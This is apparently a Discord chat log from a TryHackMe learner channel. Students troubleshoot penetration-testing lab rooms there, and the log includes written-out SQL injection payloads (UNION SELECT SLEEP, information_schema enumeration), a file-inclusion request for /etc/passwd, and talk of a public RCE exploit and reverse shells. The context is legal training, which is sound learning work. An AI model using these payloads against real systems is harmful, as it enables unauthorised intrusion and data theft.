I meant the way it was together

drifting drum
azure flume
#

I think I have no probs with that anymore

drifting drum
#

👍

stray badge
azure flume
#

Ok🙇🏻

hushed copper
modest arch
#

omfgyhgtbkm

#

Well, I learned a very valuable lesson today; probably only cost me an hour and a half of banging my head against the wrong brick wall

cursive plume
modest arch
#

Wasn't pentester title permanent 🥲

shadow echo
steady hollow
#

Hi, I completed "Authentication Bypass" room but still confused about the whole process. Can anyone suggest good write-ups or more resources to learn and understand it better?

#

Also, for me, the way this room explained everything, it was kind of hard to understand, specially on Task 4. I think that by reorganizing the sentences of this room and adding a little bit extra content will make it more understandable.

shadow echo
steady hollow
#

For example, on PHP variable section, from where I got this variable and why I am using this and how the whole mechanism works.. it was bit tough to understand.

#

Umm, yeah, I admit that one may/should use search engine to get the whole picture, but comparing to other rooms where explanation/representation of contents are very good, this room is different, in my opinion.

steady hollow
shadow echo
# steady hollow can you suggest any resource/writeups/posts on authentication bypass?

Well tbh I don't know if there is any writeup or whatsoever that would explain it better as I never looked for such. But to fully explain everything in that room, would mean they would have to add like how arrays work, what exactly the $_REQUEST variable is, how GET and POST requests send parameters etc. which in my opinion would be beyond that rooms topic. But I can only suggest you to look up for these mentioned topics, as I think it then should become more clear. 🙂

steady hollow
#

@shadow echo I got your point. I have another curiosity, without knowing the underlying mechanism, can anyone exploit/think how to work on this? I want to know how the mind of a pentester works and where I am lacking as a total noob.

shadow echo
# steady hollow <@401153154634219543> I got your point. I have another curiosity, without knowin...

I mean I'm also still a noob compared to many others, so I don't want to give you a suggestion to something I might not qualified to 😄 But if we talk about that specific example, I think knowing the underlying mechanisms would be always good. But to know that this application is vulnerable to such an attack you might anyways would have to see the source code of that application, so if you get to see the source code of it, it definitely helps you, but I think most of the time you are not able to to see that, so you anyways would have to manually test on it and therefore you would be still able to exploit it without exactly knowing the mechanism. But as I said, I'm also still a noob, so just take that as my opinion rather then a right answer 😄

bleak pilot
#

@steady hollow this might be helpful: Black Hat Python, 2nd Edition

steady hollow
next lanceBOT
#

Gave +1 Rep to @bleak pilot

bleak pilot
#

If you are totally new to programming you may want to start here with the basics: Python Programming for Beginners: The Ultimate Guide for Beginners to Learn Python Programming: Crash Course on Python Programming for Beginners

steady hollow
bleak pilot
steady hollow
steady hollow
next trench
#

Is anyone else struggling with Windows Defender on the DLL Hijack portion of the Windows Privesc room?

shadow echo
next trench
fleet burrow
#

on "Walking An Application" module, task3 and task6, there are two questions were I entered the flags I found, but it told me they were wrong. I think is a bug but I haven't seen anyone complaning. On task3, the framework flag, I entered the credentials I found to login and pop a page with a flag. I am assuming that is the flag for the framework, but it tells me is wrong. On task6, same thing happened for the contact-msg network flag. Am I missing something?

zinc brook
#

are you sure there is no errors when pasting?

fleet burrow
#

I am copying and paste, so I am not sure what you mean on the right format -> THM{}

drifting drum
#

The entire room uses the same website. You can find a bunch if the flags before you actually need th

#

There's a good chance the flag you found will be used later

#

But it's not the right one for the task your up to

shadow echo
fleet burrow
#

ok, that makes sense. I just counted how many * are inside the asterik for the contac-msg, and does not match the one on the flag I found. I guess I will have to keep looking on that one.

#

for that one I looked at the header.

#

found it!, one down another to go.

#

Got both missing flag, the other flags I found weren't part of this section which means I'll probably seen them on another module.

drifting drum
#

Yup

viscid ice
#

ok.

#

I give up.

#

LFI challenge 2

#

||I set my cookie to Admin||

#

But for some reason the request wont go through.

#

Like it does but it says it cant find the file

#

anyone else had issues

#

?

#

thanks @steel nymph lol.

next lanceBOT
#

Gave +1 Rep to @steel nymph

tranquil ether
#

Hey guys I'm current doing the final challenge in Cross-site Scripting in Introduction to Web hacking. I'm pretty sure my payload is correct but I feel like I'm waiting forever to get the cookie

#

Can someone dm to make sure I have the right payload?

gleaming loom
#

I'm in! happyPanda accessgranted alexe
A lot of helpful answers i found here even without asking, just exercising my searching skills, entering in:junior-pentester-path in the Search field 🙏🏻
Awesomesauce path! blobheart

modest arch
#

Damn it ! always in trouble with python exploits... Can't get a single one to work without errors. Libraries errors whereas they're installed on my OS.

fickle pumice
#

The Windows Privesc section isn't loading for me, anyone experiencing the same?

viscid ice
#

Alright.

#

Time to try again

tropic flame
#

LFI - Lab1 (Task 4) - I am entering ||/lab1.php?file=/etc/passwd|| and I can see the passwd file, but I am getting the answer wrong. Any ideas? TIA.

shadow echo
tropic flame
shadow echo
tropic flame
next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
tropic flame
shadow echo
viscid ice
#

@steel nymph so Im making a post request with postman for challenge 3 and im getting to my file its just telling me it doesnt exist.

#

||Im making a post request with my actual request within the body and it sends it over correctly without filter||

#

but it says it cant find it.

#

Getting annoyed.

shadow echo
viscid ice
#

tried 3, 4, and 5 directories.

#

am I an idiot?

shadow echo
viscid ice
#

yea

#

spoilers people.

#

heads up.

#

ive tried with and without nullbyte

#

tried multiple directory lengths.

#

and I know its something like glaringly obvious

shadow echo
# viscid ice

Well it says failed to open flag3%00 instead of failed to open flag3, so seems like the way you send the null byte it's getting url encoded afterwards and therefore not doing what it should do

viscid ice
#

||sending it through the body as form data||

shadow echo
viscid ice
#

I did.

#

just acts blank.

#

cancel that.

#

I managed.

#

thanks @shadow echo and @steel nymph ended up erasing that nullbyte for some stupid ass reason. The request I made wasnt adjusting the page due to where the request was going.

next lanceBOT
#

Gave +1 Rep to @shadow echo

viscid ice
#

thanks @steel nymph

#

sill robocop

#

give the rep.

shadow echo
#

+rep @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

pallid mist
#

can someone please help me change the GET request to POST request on the developer page or burpsuit to get the flag for our first challenge on File inclusion Task 8?

#

yes i kinda have a good idea but when i tried to do it on burpsuite after intercepting the connection and sending it to repeater, not sure how to change the request method to Post

pallid mist
#

@steel nymph So i just got to change the request line to POST to have it changed?

#

i am gonnna have to check out some youtube videos, lmk if you have any suggestions

viscid ice
#

@pallid mist make sure you use your other resources. Plenty of info online about what how POST works. 😄

viral token
#

Where could I find exploit for CVE-2018-16763 (Vulnerability Capstone Module). I tried ExpDB, github and rapid7 where else I should search?

#

I find 4 RCE, mange to connect using one of them, but, couldn't get access via nc

#

@steel nymph also, there is an exploit on AttackBox but, I could not find that one.

#

then, I should try again.

modest arch
viral token
modest arch
viral token
#

nope, i tried.

#

there are 5 of them on github, one ruby one bash and 3 py

#

none of them are same as the one on attackbox

modest arch
#

Strange. By googling CVE number it gets me to the same py script on github as the one on attackbox

viral token
#

what am i missing here!

shadow echo
#

Are you on a VM?

viral token
#

aye

shadow echo
viral token
#

oh, nay... I am on my machine, not vm

#

and open vpn running on my machine

#

and I am using tun0 ip as my IP

shadow echo
viral token
#

yes

shadow echo
#

If you check the interfaces, how many tun interfaces you see? Only 1, so tun0 ?

viral token
#

nope

#

there are others

#

one of them are my pvt IP and another one is tun0

shadow echo
#

What, like tun1, tun2 ?

viral token
#

nope

shadow echo
#

So then there are no other tun interfaces except tun0 ?

viral token
#

192.168....

shadow echo
#

As the others are most likely eth and lo

viral token
#

yep

#

no tun1 or 3 only tun0

shadow echo
#

K, you want to try if you enter my THM IP and my given port if I receive the rev shell, just to check if it's an issue on your site or the target machine?

viral token
#

k

#

tq

shadow echo
shadow echo
viral token
#

no luck

#

getting same error as previous

shadow echo
#

Have you tried to run it without putting http:// infront of the IP ?

viral token
#

nope

#

thank you @shadow echo

next lanceBOT
#

Gave +1 Rep to @shadow echo

viral token
#

it says url thats why I tried with http:// everytime

shadow echo
viral token
#

yes, I got the access

#

on nc

shadow echo
#

Alright, great

viral token
#

do you know why should I try without http?

#

its says url on instruction.

shadow echo
viral token
#

okay! got it!

#

thank again! @shadow echo

shadow echo
#

Not a problem

glacial hornet
#

.

knotty walrus
#

hey, I am new to metasploit

#

I didn't get why my exploit does not work, can someone explain?

shadow echo
# knotty walrus

Is that wordlist you specified just containing passwords? As in case it does, it's specified in the wrong option. The option you set the wordlist to is meant for a USER+PASSWORD file.

alpine wyvern
#

Hey guys! On Command Injection, for Jr. Penetration Tester Task 2 Q1, I know this answer but it keeps giving wrong answer?

#

Ahh never mind... I just removed a special character... so weird...

#

It should have been complete not an incomplete PHP code snippet.

modest arch
#

guys i'm trying to find fla1 on file inclusion challenge but this thing does not work tried many times any guesses??

shadow echo
knotty walrus
#

I know I need a scanner for the job

knotty walrus
next lanceBOT
#

Gave +1 Rep to @shadow echo

tropic flame
#

How illegal is it to try out these methods on public websites? Asking for a friend...

spiral dew
#

Hi guys, i'm in the task 8 of sqli (J-P-P) and I don't know what is wrong with the payload
||admin123' UNION SELECT SLEEP(5),2 from analytics_referrers where domain like '_%||

Anybody can give me a clue, ppppllslslsl!!

spiral dew
#

nono, task 8, sorry

#

Time Based

alpine wyvern
# spiral dew Task 7 Boolean based, my bad

Was looking at my notes and your syntax is incorrect.... the tricky part is the syntax after "like"... Not sure how came about those syntax in your first post. Look at the second commands from top down.

#

did you try the admin' UNION SELECT SLEEP(5),2;-- and what is the time you get when you press enter?

spiral dew
#

I think that I got the table_name = ||'analytics_referrers'|| and column_name ||domain and id|| . That's right?

alpine wyvern
#

Look in your browsers' URL string

#

I know it's not solid black and looks faded....

#

analytics?referrer=user' --- also, get rid of your plural on the referrer...

#

Then add the 2nd syntax in the instructions top down..

#

after that, it gets interesting....

#

Look at task 7, 2nd syntax from bottom up...

#

Plug them all in, just keep messing with it... the hardest part is the finding the password that gets you that flag.

#

Password for admin...

#

Hey guys, why doesn't kali let me download burpsuite, updated JAR file but it's fine downloading on a Windows system?

#

No Proxy, no burpsuite and no interception proxy is on. Burp is closed.

drifting drum
tropic flame
next lanceBOT
#

Gave +1 Rep to @drifting drum

modest arch
#

So apparently in task 8 of SQL Injection you can find a 'analytics_referrers' table name. I'm guessing I shouldn't be able to find that.

#

Wait. Looking up a few comments... Is this the right table name?

drifting drum
azure flume
#

when I ping most websites, I tend to see their ip and once I visit the ip it directs me to the website. Ping tends to give me an incorrect ip of instagram and some websites but does gives me correct ip's of facebook and google...Why?

idle bison
copper sentinel
modest arch
#

guys i'm stuck on task 8 of sql injection can't get the flag

#

tried adding sleep() in the boolean based payload as they said but nothing happens

#

||admin123' UNION SELECT SLEEP(5) 1,2,3 FROM information_schema.tables WHERE table_schema = 'analytics_referrer' and table_name 'users' and coloumn_name like 'admin%';--||

#

i'm using this payload is it right??

shadow echo
modest arch
#

yeah man u r right!!

#

well i got the flag it was challenging

shadow echo
modest arch
#

tried changing numbers in password like

shadow echo
#

I only accept friend request from girls @modest arch

#

No, just kidding 😄

earnest shell
#

I'm on task 13 of burpsuite basics. Struggling to find the flag

#

Im at the right place just need a hint where to look

shadow echo
earnest shell
#

@shadow echo I visit every page once

shadow echo
#

Sry but I have a hard time seeing if you use a photo instead of a screenshot

shadow echo
# earnest shell This is where im at

Have you disabled javascript or is something blocking javascript? As from what I can see is that the javascript files are grey, so therefore they never got requested. Make sure there is nothing blocking js.

shadow echo
earnest shell
shadow echo
knotty walrus
#

I got the reverse shell but didn't find the flag

#

where should I look for it

modest arch
#

Ok, so still on SQLi. I've found a column name ||domain|| but when I got to the next step and put in ||==admin123' UNION SELECT SLEEP(5),2 from domain where username like 'a%|| it gives me an error, ||SQLSTATE[42S02]: Base table or view not found: 1146 Table 'sqli_four.Domain' doesn't exist||. Is that not the right column name? Also, if I understand it correctly there's only two columns, one being 'id' and the other ||domain||. So where am I going to find the password?

modest arch
#

Yep. Just found the answer but I had to assume the column name and run with it. It never gave me a time delay on ||users||. I don't know what that's about.

#

I was hoping to do a write up on this one but since I never fully understood how to enumerate to the right column name I'll look for another room to write up.

drifting drum
#

You have the right idea. If it isn't working try refreshing

modest arch
drifting drum
#

Control

modest arch
#

Hmm... Still isn't hitting anything on either ||=admin123' UNION SELECT SLEEP(5),3 FROM information_schema.COLUMNS WHERE
TABLE_SCHEMA ='sqli_four' and TABLE_NAME='analytics_referrers' and COLUMN_NAME
like 'id%';||

#

or ||=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.COLUMNS WHERE
TABLE_SCHEMA ='sqli_four' and TABLE_NAME='analytics_referrers' and COLUMN_NAME
like 'domain%' and COLUMN_NAME !='id';|| with 'users' in the place of 'id' in the first one and 'domain' in the second. Oh well. I need to study SQLi better I think.

drifting drum
#

Well, technically its correct cuz it is a table

#

But it's not the table you need

#

When you do SQL injections like this, you need to make sure you find all the tsbles

rapid kite
#

hey guys, if there's a CVE number, that means there's definitely a public exploit somewhere to download?

shadow echo
next lanceBOT
#

Gave +1 Rep to @shadow echo

lost bay
#

Has anyone solved this... I couldnt get the answer

#

I didn't got staff cookie form both the methods...

modest arch
#

Hello guys, can you open the acmeit site by adding the attackbox ip?

shadow echo
modest arch
#

@shadow echo Ok,thanks. How do i start the target machine?

shadow echo
modest arch
#

oh ok,awesome,thanks!

dry seal
#

hello friends, in the Subdomain Enumeration room I am required to use FFUF -w /usr/share/wordlist/SecList.. etc, however, I do not have SecLists file on my kali linux

#

as far as i know thm uses parrot OS, what wordlist should i use in kali?

shadow echo
dry seal
#

oh its a program? ok thanks

shadow echo
dry seal
#

i used apt install seclists, is it downloading the same one?

shadow echo
dry seal
#

thanks batman

shadow echo
leaden violet
#

So I just finished the SSRF room but I want to understand why does using x/../ bypass the ip block when changing the avatar?

brazen notch
#

This might be a huge oversight on my end, but I'm on task 9 of the burp suite module and I don't see any option that matches the answer format in the right click options that will "allow you to intercept and modify the response to your request." Is there a change in the current version versus when the module was written?

shadow echo
shadow echo
brazen notch
#

i see.

#

bit of a misleading question, but i guess it makes sense.

#

thanks

next lanceBOT
#

Gave +1 Rep to @shadow echo

lost bay
# leaden violet So I just finished the SSRF room but I want to understand why does using x/../ b...

In the ssrfqi room its mentioned that work due to directory traversal.. Directory traversal simple means getting access to restricted files and directories. Here as you can see initially I am at my / directory, now I go to ( /root/go/pkg/mod/cache) > now think of like . Png file which is inside assets/something/something.png in the ssrf room pratical. Now, look just by using /.. /private I changed myself to move from /root/go/pkg/mod/cache to /private(I made a directory name private just show you) and the file inside the /private folder is displayed into base64 format in the website source page...

modest arch
#

In the x/../ example does the x directory actually exist or does it not matter

lost bay
modest arch
#

I did the room a while back, but I was confused by traversing a non-existent directory

#

I am working on this room: https://tryhackme.com/room/nmap04
I checked all the links available in references, no idea what's title input.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
Windows HTTP Protocol Stack ('HTTP.sys') Parsing Error Lets Remote Users Execute Arbitrary Code.

modest arch
modest arch
lost zephyr
#

hey I have a question for you guys who have been using THM for a long time. I am planning on becoming a CyberSecurity specialist. Should I just try as many tryhackme rooms as possible as soon as possible or should I first get the knowledge, pass the certs (Networking, Security, etc.) and then do THM rooms as a expierence gainer?

modest arch
# lost zephyr hey I have a question for you guys who have been using THM for a long time. I am...

As many as possible as soon as possible is defo a not good approach. I would rephrase it to To nail as much as possible rooms following methodological approach . Without some fundamentals it will be very hard, so try to learn networking fundamentals, web fundamentals, linux fundamentals, scripting (as entrance to a wider coding area). Just don't rush yourself, try to understand rather than skipping as not full understanding will catch you later anyway and you may loose more time rather than trying to understand that at the beginning.
There are paths on THM Complete Beginner, Presecurity, Web Fundamentals... I probably would advise to start from those, but I haven't done them myself as I gained experience somewhere else. Perhaps someone who completed those paths can advise more if they are good to start with or better to start externally from taking some online courses targeting particularly Networking only, Web only, scripting (bash/python) only...

drifting drum
idle bison
#

I disagree.
Seeing as many different things as you can will make you better.

drifting drum
#

True, but just running through the rooms and not learning anything from them won't get you anywhere. It only helps to see many different things if you learn something from attacking those things.

idle bison
#

but just running through the rooms and not learning anything from them You'd have to make a conscious effort not to learn anything from completing the rooms NGL

modest arch
#

guys in burp suite intruder room task 11 i try to fuzz numbers but i don't get flag

#

although the ticket numbers which are already there respond with 400 error

#

why is that??

modest arch
idle bison
#

Methodology is important, but so is experience.
If you've seen something similar 10 times before, it's going to be easier. You're going to be able to identify any issues or weird behaviour more easily.

shadow echo
modest arch
#

what??

#

so what should it be?

shadow echo
modest arch
#

ohh right!!

#

Thanks Man

viral token
#

Why am I getting this error again and again, could anyone help me out, please.

modest arch
#

idrsa.id_rsa should be only id_rsa

viral token
modest arch
#

just do mv idrsa.id_rsa id_rsa

#

it should do the trick

viral token
#

okay! Thank you @modest arch

next lanceBOT
#

Gave +1 Rep to @fervent pendant

modest arch
#

anytime, lmk if you need some help again

viral token
#

sure 😄

#

🙂

idle bison
viral token
#

can anyone guide me what am I missing here, please?

idle bison
#

Try python2.

viral token
#

okay

#

no luck

#

$python /usr/share/john/ssh2john.py id_rsa > idrsah.txt
Traceback (most recent call last):
File "/usr/share/john/ssh2john.py", line 193, in <module>
read_private_key(filename)
File "/usr/share/john/ssh2john.py", line 103, in read_private_key
data = base64.decodestring(data)
AttributeError: module 'base64' has no attribute 'decodestring'

idle bison
#

You sure python points to python2 on your distro?

#

python2 script.py

viral token
#

bash: python2: command not found

idle bison
#

python2.7

viral token
#

bash: python2.7: command not found

idle bison
#

You might ahve to work out where it is then. python doesn't mean python2 neccesarily.

modest arch
#

Your john/python installation could be broken aswell, no ?

viral token
#

as I see python2.7 is not installed on my distro

signal scarab
#

Hey, I was doing linprivesc room task 5. I couldn't download exploit file from attacking system http.server using wget as it shows "connection timed out" error. I tried changing ports (like 9001, 9003).

viral token
viral token
#

got stuck on Linux PrivEsc/ Privilege Escalation: SUID
Could anyone give me hints on how to get user2 password? I could not find resource for 'how to extract suid?'

modest arch
pure tulip
#

im having an issue accessing a website, im doing the content discovery section of this path

#

task 2, asking me to go to the robots.txt site but its not loading

#

im either gettin error 405

#

or took too long to respond

#

im running the attack machine

pure tulip
#

also connected using openvpn

#

instructions telling me to use machine ip to go to robots.txt site but its not loading

idle bison
final garden
#

Hello! I do not really understand at SSRF room last task, the "x/../private" part. How is this working? I see this like doing "cd x/../Documents" but this will not work

pure tulip
next lanceBOT
#

Gave +1 Rep to @idle bison

idle bison
#

If you do not see that heading, you have not deployed the machine

pure tulip
#

for some reason it was showing the same ip as the openvpn one

#

thank you, i will try this

idle bison
final garden
#

Oh, and what is the +rep functionalities on the server? 🙂

alpine wyvern
#

Hey guys, having trouble getting Task 11 for J.P.T. Unable to find the flag and don't even see a single status code of 200, they're all 302.

alpine wyvern
alpine wyvern
#

I did change the position in according to our task for next step.

#

I ran it twice... still all 302's.

#

Is the payload supposed to have just one file like the "combined.txt" for this s----er attack? or both the username and password list of 100 each?

shadow echo
shadow echo
alpine wyvern
shadow echo
alpine wyvern
shadow echo
alpine wyvern
#

I did get pass task 10. I have the request and sent it to intruder.

#

Then, it's saying after setting your position, which is sniper... and then run the attack... there should be a status code 200 .... but I don't see it, unless I am doing it wrong?

#

Because all the status code is showing is 302's.

shadow echo
#

All you basically need is a word list with the numbers 1 to 100 for example

shadow echo
alpine wyvern
shadow echo
alpine wyvern
#

Not trying to be ignorant, might be that I am making this to be harder than it needs to be.

shadow echo
# alpine wyvern I thought the idea was to point to the login page?

No, I already gave you all the steps you have to do: In task 10 you had to get a user and a password. So with these creds you are going to log in. Then you capture a request that's going to http://machine_ip/support/ticket/1 and send it to intruder to fuzz all the ticket numbers from 1 to 100

alpine wyvern
alpine wyvern
shadow echo
modest arch
alpine wyvern
shadow echo
alpine wyvern
shadow echo
modest arch
alpine wyvern
shadow echo
alpine wyvern
modest arch
alpine wyvern
next lanceBOT
#

Gave +1 Rep to @thorn crest

alpine wyvern
#

And not over think it...

#

Had to restart the machine...

next lanceBOT
#

Gave +1 Rep to @lost bay

alpine wyvern
#

Like it did the first time.

#

I got it now...

alpine wyvern
#

I was able to log in with a valid creds.

shadow echo
# alpine wyvern How do i know which is the correct support ticket #? I have 3 of them and one is...

Most likely none of these tickets are the correct ticket with the flag, if it would be one of these tickets there would be no need to fuzz for other tickets. I think the issue with understanding you have is with these 3 tickets that are displayed to you. These 3 tickets are the tickets that are assigned to that user account. Lets say one of these tickets have the url /support/ticket/78 and again another has the url /support/ticket/85 (just example numbers). But overall in the system there might be 10 tickets in total, where like mentioned only 3 tickets are assigned to that user account you are logged in with. But that doesn't mean you might not able to access the other 7 tickets by simply trying to open /support/ticket/99 (which might be a ticket not assigned to that user account but you can still access it by trying to open that url)

alpine wyvern
shadow echo
alpine wyvern
#

Is there an easier way to automate from 1 to 100 instead of just doing it one by one?

shadow echo
#

Doing a sniper attack.

#

Or you mean for the payload itself?

alpine wyvern
# shadow echo Doing a sniper attack.

Well, 1. In Sniper position, do I Start Attack each time from 1 to 100 each time manually? And 2. Payload Sets are 1, Numeric, and payload option from 1 to 100 and step 100.

#

It seems I have to keep fuzzing each time from ticket 1 to 100?

#

FYI... I manually changed from support/login to support/ticket/#

#

Unless I am supposed to re-grab the request GET again from the support ticket?

shadow echo
#

Well the position for the sniper attack is obviously the position in the url where the number is located. If you set step 100 it will do a request with /1 and a second request with /101 (technically). So the steps you want to make is 1.

#

And the initial request you capture has to be a request while you are being logged into the user account and trying to open for example /support/ticket/1

alpine wyvern
#

It may seem simple for you but for me, it isn't. 😕

shadow echo
shadow echo
alpine wyvern
#

Done

#

Then, push that request to Intruder, then fuzz it?

shadow echo
#

So then send that request to intruder, set the correct position and maybe send a screenshot for me to verify

alpine wyvern
#

I meant, start the attack?

shadow echo
shadow echo
# alpine wyvern

Okay, so as you saw with step 100 it's only doing 2 requests. So you want to set step to 1 as we always want to increment the number by only 1

shadow echo
alpine wyvern
shadow echo
#

Alright

alpine wyvern
#

Like in task 10

shadow echo
#

All 200 status codes are tickets that do exist and you are able to access

alpine wyvern
#

Finished...

#

Going to look...

#

OK now, I don't see a status code of 200 anywhere.

shadow echo
shadow echo
# alpine wyvern

Well it seems you have not used the same initial request as in the previous image you have sent, as there is no session cookie in it. Or the session cookie got altered.

alpine wyvern
#

The 404 status code has the cookie...

shadow echo
# alpine wyvern

Well I don't know why that is, have you accidentally set a position on the cookie ?

alpine wyvern
#

Nope, it's sniper.